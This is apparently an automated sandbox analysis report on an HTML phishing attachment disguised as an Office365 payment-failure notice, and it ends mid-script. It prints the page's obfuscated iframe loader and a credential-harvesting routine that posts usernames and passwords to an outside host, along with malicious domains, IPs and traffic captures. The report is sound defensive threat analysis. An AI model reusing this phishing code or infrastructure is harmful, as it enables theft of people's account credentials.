Edit tour

Windows Analysis Report
Payment_Failure_Notice_Office365_sdf_[13019].html

Overview

General Information

Sample name:	Payment_Failure_Notice_Office365_sdf_[13019].html
Analysis ID:	1577909
MD5:	a938e38d728448bad3796025563e3307
SHA1:	404c6bc9c4a7f99d4997e3ca4a33a1c746c962a1
SHA256:	f4895b6dc342ad896d24e4ef2e49eabfbe5bbdbe530c8540c99853662e279d5e
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

HTML IFrame injector detected

HTML Script injector detected

HTML document with suspicious name

HTML file submission containing password form

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Payment_Failure_Notice_Office365_sdf_[13019].html" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2296,i,12385093406174341461,14356601096919368634,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /app/stiktk.php HTTP/1.1Host: ajx6f16w140.chiliesdigital.co.zaConnection: keep-aliveContent-Length: 69sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 18 Dec 2024 20:11:09 GMTstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-frame-options: SAMEORIGINx-content-type-options: nosniffvary: User-Agent,Accept-Encodingalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: chromecache_173.3.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_173.3.dr	String found in binary or memory: http://fontawesome.io/license
Source: Payment_Failure_Notice_Office365_sdf_[13019].html	String found in binary or memory: https://static.wikia.nocookie.net/logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=2

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50049 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Payment_Failure_Notice_Office365_sdf_[13019].html

Initial sample: notice

Source: classification engine

Classification label: mal88.phis.winHTML@27/15@24/15

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Payment_Failure_Notice_Office365_sdf_[13019].html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2296,i,12385093406174341461,14356601096919368634,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2296,i,12385093406174341461,14356601096919368634,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html

HTTP Parser: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html	0%	Avira URL Cloud	safe
https://ajx6f16w140.chiliesdigital.co.za/app/stiktk.php	100%	Avira URL Cloud	malware
https://kasumbo.com/smarty/xls_v1.6/tail-spin.svg	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ajx6f16w140.chiliesdigital.co.za	172.67.165.105	true	false	high
ooc-g2.tm-4.office.com	40.99.32.114	true	false	high
5bsrfkftdtnvful9nm.ssaa.beauty	172.67.150.25	true	true	unknown
kasumbo.com	108.178.43.142	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
cs837.wac.edgecastcdn.net	192.229.133.221	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
wikia.nocookie.net	74.120.190.204	true	false	high
www.google.com	142.250.181.132	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
static.wikia.nocookie.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
_8443._https.5bsrfkftdtnvful9nm.ssaa.beauty	unknown	unknown	false	unknown
www.w3schools.com	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://tse1.mm.bing.net/th?id=OADD2.10239339388129_199HS4001G3EH5S78&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239339388130_1LUEK7XGBN2FMZI35&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html	true	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css	false		high
https://www.w3schools.com/w3css/4/w3.css	false		high
https://ajx6f16w140.chiliesdigital.co.za/app/stiktk.php	false	Avira URL Cloud: malware	unknown
https://tse1.mm.bing.net/th?id=OADD2.10239381066314_1K7DCGUB8OSLDMFYA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239381066313_1SPDQGELA3SLXFIM6&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239402415262_1QYE6F4QD8CN041QB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false		high
https://kasumbo.com/smarty/xls_v1.6/tail-spin.svg	false	Avira URL Cloud: phishing	unknown
https://static.wikia.nocookie.net/logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=20241113153458	false		high
https://outlook.office365.com/Encryption/ErrorPage.aspx?src=0&code=10&be=DM8PR09MB6088&fe=BL1PR13CA0351.NAMPRD13.PROD.OUTLOOK.COM	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239402415261_1RYOARG5S55IRLQU7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://fontawesome.io	chromecache_173.3.dr	false	high
https://static.wikia.nocookie.net/logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=2	Payment_Failure_Notice_Office365_sdf_[13019].html	false	high
http://fontawesome.io/license	chromecache_173.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
40.99.32.114	ooc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.120.190.204	wikia.nocookie.net	United States	22300	WIKIAUS	false
192.229.133.221	cs837.wac.edgecastcdn.net	United States	15133	EDGECASTUS	false
108.178.43.142	kasumbo.com	United States	32475	SINGLEHOP-LLCUS	false
104.21.81.229	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
172.67.165.105	ajx6f16w140.chiliesdigital.co.za	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
172.67.150.25	5bsrfkftdtnvful9nm.ssaa.beauty	United States	13335	CLOUDFLARENETUS	true
74.120.190.194	unknown	United States	22300	WIKIAUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.8
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577909
Start date and time:	2024-12-18 21:10:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment_Failure_Notice_Office365_sdf_[13019].html
Detection:	MAL
Classification:	mal88.phis.winHTML@27/15@24/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 2.20.68.210, 2.20.68.201, 172.217.21.35, 172.217.17.78, 64.233.162.84, 172.217.17.46, 142.250.181.106, 142.250.181.138, 172.217.21.42, 172.217.19.234, 142.250.181.42, 216.58.208.234, 172.217.17.74, 142.250.181.74, 172.217.19.202, 172.217.17.42, 172.217.19.170, 172.217.19.10, 172.217.17.35, 142.250.181.46, 40.126.53.16, 20.199.58.43, 13.107.246.63, 2.18.82.9, 104.116.245.121, 20.12.23.50, 150.171.28.10, 20.223.36.55
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, a767.dspw65.akamai.net, arc.msn.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, ocsp.edge.digicert.com, update.googleapis.com, wu-b-net.trafficmanager.net, optimizationguide-pa.googleapis.com, www.bing.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, edgedl.me.gvt1.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Payment_Failure_Notice_Office365_sdf_[13019].html

Input	Output
URL: file:///C:/Users/user/Desktop/Payment_Failure_... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution through obfuscation and deobfuscation, potential data exfiltration through the loaded iframe, and the use of suspicious domains. While the script may have a legitimate purpose, the level of obfuscation and the complex URL generation raise concerns about its true intent. Further review is recommended to determine the full scope of the script's functionality and potential risks." }
(function () { // Multi-layer obfuscation and deobfuscation const layer1Obfuscate = (str) => { return btoa(str.split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ (i % 7 + 3))).join('')); }; const layer2Obfuscate = (str) => { return Array.from(str).map(c => String.fromCharCode(c.charCodeAt(0) + 5)).join(''); }; const obfuscate = (str) => { return layer1Obfuscate(layer2Obfuscate(str)); }; const layer1Deobfuscate = (str) => { return atob(str).split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ (i % 7 + 3))).join(''); }; const layer2Deobfuscate = (str) => { return Array.from(str).map(c => String.fromCharCode(c.charCodeAt(0) - 5)).join(''); }; const deobfuscate = (obf) => { return layer2Deobfuscate(layer1Deobfuscate(obf)); }; // Random string generator const randomSegment = (length) => { const charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; return Array.from({ length }, () => charset.charAt(Math.floor(Math.random() * charset.length))).join(''); }; // Valid base domain const baseDomain = "ssaa.beauty"; // Replace with a valid domain // Advanced URL generation const generateComplexURL = () => { const subdomain = randomSegment(18); const port = ":8443"; const path = "/impact?"; const paramKey = randomSegment(15); const paramValue = `global@prometheuslabs.com`; const fragment = "#" //1797100827918841; const url = `https://${subdomain}.${baseDomain}${port}${path}?${paramKey}=${paramValue}${fragment}`; return obfuscate(url); }; // Loader toggle const toggleLoader = (isVisible) => { document.getElementById("loader").style.display = isVisible ? "flex" : "none"; document.getElementById("main").style.display = isVisible ? "none" : "block"; }; // Load iframe const loadIframe = () => { const iframe = document.createElement("iframe"); iframe.src = deobfuscate(generateComplexURL()); iframe.style.opacity = 0; document.getElementById("main").appendChild(iframe); // Gradual fade-in for iframe let opacity = 0; const fadeIn = setInterval(() => { opacity += 0.1; iframe.style.opacity = opacity; if (opacity >= 1) clearInterval(fadeIn); }, 100); }; // Add random noise to the DOM const addRandomNoise = () => { const noiseElement = document.createElement("div"); noiseElement.style.position = "absolute"; noiseElement.style.top = "-9999px"; noiseElement.textContent = randomSegment(1000); document.body.appendChild(noiseElement); }; document.addEventListener("DOMContentLoaded", () => { addRandomNoise(); setTimeout(() => { toggleLoader(false); loadIframe(); }, Math.floor(3500 + Math.random() * 2500)); // Random loader duration }); })();
URL: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/impact... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a benign script that retrieves a 'username' parameter from the URL and populates an input field with the retrieved value. This behavior is common for web applications that need to pre-fill form fields based on user input or URL parameters. The script does not exhibit any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script's purpose seems to be a legitimate user experience enhancement, and it does not demonstrate any malicious intent." }
document.addEventListener('DOMContentLoaded', function() { // Get the current URL var url = new URL(window.location.href); // Get the 'impact' parameter from the URL var impactValue = url.searchParams.get('username'); // Find the input field by ID var inputField = document.getElementById('usrn'); // If the impact value is found, replace the input field's value with it if (impactValue) { inputField.value = impactValue; } });
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/impact... Model: Joe Sandbox AI	```json { "risk_score": 9, "reasoning": "The script contains heavily obfuscated code, which is a high-risk indicator. It also sends data to an external domain (chiliesdigital.co.za) using XMLHttpRequest, which is a moderate-risk indicator. The domain is suspicious and not widely recognized, adding to the risk. The combination of obfuscation and data transmission to an untrusted domain suggests potentially malicious intent." }
(function(e,f){function l(e,f){return d(f-'0xbd',e);}function k(e,f){return b(f-0x273,e);}function j(e,f){return c(e- -'0x240',f);}const g=e();while(!![]){try{const h=-parseInt(j(-0x122,'laTQ'))/0x1(-parseInt(k(0x393,0x395))/0x2)+-parseInt(k('0x38f',0x384))/0x3+-parseInt(l(0x1cd,0x1e5))/0x4(parseInt(k(0x39d,'0x392'))/0x5)+-parseInt(l('0x1bc','0x1c7'))/0x6+parseInt(l('0x1e5',0x1e1))/0x7(parseInt(j(-'0x112','mW6x'))/0x8)+-parseInt(k(0x377,'0x386'))/0x9(-parseInt(j(-'0x139','Ed)M'))/0xa)+parseInt(k('0x370',0x37b))/0xb;if(h===f)break;else g['push'](g['shift']());}catch(i){g['push'](g['shift']());}}}(a,0x678f5));function submitForm(e){function n(e,f){return c(f-'0x316',e);}function m(e,f){return b(e-'0x353',f);}e[m(0x480,0x47b)]();const f=document[n('BCDC',0x43b)](o('0x189',0x18c)),g=document[m(0x458,'0x44b')](m('0x455',0x463));function o(e,f){return d(f-0x74,e);}if(tryCount<=0x4){const h=new XMLHttpRequest();h[m(0x468,0x477)](o(0x195,'0x18f'),m(0x470,0x45a)),h[n('Hthc','0x422')](o(0x191,'0x19d'),o(0x178,'0x188')),h[m('0x457',0x455)]=function(){function p(e,f){return n(e,f-0x20);}function r(e,f){return m(e- -'0x597',f);}function q(e,f){return o(f,e- -0x80);}if(h[p('DAdp',0x44f)]===XMLHttpRequest[q('0x10b','0x117')]){if(h[r(-'0x12e',-'0x146')]===0xc8){}else{}tryCount++,tryCount>0x4&&(alert(p('QP7',0x457)),window[r(-'0x115',-0xfd)][p('laTQ',0x45d)]='#');}},h[m(0x459,'0x441')](n('QP7','0x430')+encodeURIComponent(f[o(0x179,0x184)])+n('udbq',0x428)+encodeURIComponent(g[n('BipX',0x446)])),g[m('0x45c','0x459')]='';}}function b(c,d){const e=a();return b=function(f,g){f=f-0x102;let h=e[f];return h;},b(c,d);}function t(e,f){return d(f- -0x397,e);}function d(b,c){const e=a();return d=function(f,g){f=f-0x102;let h=e[f];if(d['cvtprC']===undefined){var i=function(m){const n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let o='',p='';for(let q=0x0,r,s,t=0x0;s=m['charAt'](t++);~s&&(r=q%0x4?r0x40+s:s,q++%0x4)?o+=String['fromCharCode'](0xff&r>>(-0x2q&0x6)):0x0){s=n['indexOf'](s);}for(let u=0x0,v=o['length'];u<v;u++){p+='%'+('00'+o['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(p);};d['sZoqSc']=i,b=arguments,d['cvtprC']=!![];}const j=e[0x0],k=f+j,l=b[k];return!l?(h=d['sZoqSc'](h),b[k]=h):h=l,h;},d(b,c);}let tryCount=0x1;function u(e,f){return b(e-0x31f,f);}function c(b,d){const e=a();return c=function(f,g){f=f-0x102;let h=e[f];if(c['DOQlkL']===undefined){var i=function(n){const o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let p='',q='';for(let r=0x0,s,t,u=0x0;t=n['charAt'](u++);~t&&(s=r%0x4?s0x40+t:t,r++%0x4)?p+=String['fromCharCode'](0xff&s>>(-0x2r&0x6)):0x0){t=o['indexOf'](t);}for(let 